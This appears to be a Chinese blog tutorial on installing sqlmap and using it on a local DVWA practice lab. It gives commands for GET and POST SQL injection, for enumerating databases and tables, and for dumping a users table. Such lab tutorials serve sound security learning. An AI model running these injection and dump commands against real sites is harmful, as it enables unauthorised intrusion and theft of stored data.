sqlmap所依赖的python版本 sqlmap安装使用_github

2.2 sqlmap的安装

sqlmap官方下载地址:sqlmap:自动SQL注入和数据库接管工具

下载压缩包,并解压到python2.7的目录下

sqlmap所依赖的python版本 sqlmap安装使用_sql_02

sqlmap所依赖的python版本 sqlmap安装使用_linux_03

进入sqlmap文件夹,在此文件夹中打开控制台(可以在上方地址栏输入cmd回车快速打开)

输入命令python2 sqlmap.py或者python2 sqlmap.py -h检验是否成功,出现如图所示界面就代表成功了。

sqlmap所依赖的python版本 sqlmap安装使用_sqlmap所依赖的python版本_04

sqlmap所依赖的python版本 sqlmap安装使用_学习_05

每次运行sqlmap时,都要进入到目录中打开cmd,比较麻烦,因此我们可以配置一种快捷的方式去打开。我们可以配置一个批处理文件或者一个快捷方式去打开,这里介绍配置一个快捷方式。

在桌面新建一个快捷方式,对象位置输入cmd,点击下一步,给这个快捷方式取一个名称,我们可以取名叫sqlmap,点击完成。然后右键这个快捷方式,点击属性,将起始位置改为你的sqlmap目录,点击确定。

sqlmap所依赖的python版本 sqlmap安装使用_学习_06


sqlmap所依赖的python版本 sqlmap安装使用_linux_07


然后我们打开快捷方式,就直接进入到sqlmap目录下了,直接输入python2 sqlmap.py就可以运行了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OMFjB45Y-1690533970055)(https://tuuli-note-image.oss-cn-guangzhou.aliyuncs.com/img/202307280225512.png)]

3. sqlmap的简单使用

我们可以在本地搭建一个靶场,用于进行我们的sql注入测试,这里使用了DVWA靶场,DVWA是一个开源的支持多种攻击方式的靶场,搭建教程可以查看本人的另外一个教程:搭建本地DVWA靶场教程 及 靶场使用实例 - tuuli241

  1. GET注入

使用-u参数后面接url,url中的参数使用?拼接

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit"

在运行时会有一些选项让我们选择Y/N,可以直接回车或者按推荐的进行选择(大写字母的即为推荐的)。

如运行后出现了以下选项:

sqlmap所依赖的python版本 sqlmap安装使用_linux_08

第一次选项提示我们,已经找到了当前数据库为mysql,是否跳过检测其他数据库;

sqlmap所依赖的python版本 sqlmap安装使用_github_09

第二次选项提示我们,在“ level 、riskl ”的情况下,是否使用 MySQL 对应的所有 payload 进行检测;

sqlmap所依赖的python版本 sqlmap安装使用_学习_10

第三次选项提示我们,已经找到了参数id存在注入漏洞,是否继续检测其它参数。

运行后我们可以看到id这个参数存在sql注入漏洞

sqlmap所依赖的python版本 sqlmap安装使用_sql_11

  1. POST注入

post注入与get注入同理,我们只需要在后面使用--data=" "来写post参数即可,如

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli" --data="id=1"
  1. 查询当前使用的数据库名称
python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" --current-db

sqlmap所依赖的python版本 sqlmap安装使用_github_12


4. 查询所有数据表

使用-D "xx"参数来指定数据库,使用--tables参数来查询数据表

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" -D "dvwa" --tables

sqlmap所依赖的python版本 sqlmap安装使用_学习_13


5. 查询表中数据

使用-T "xx"来指定表名,使用--dump来查询当前条件下的所有数据,也可以不指定表名,只指定数据库,这样可以查询出该数据库下所有表的所有数据。

python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" -D "dvwa" -T "users" --dump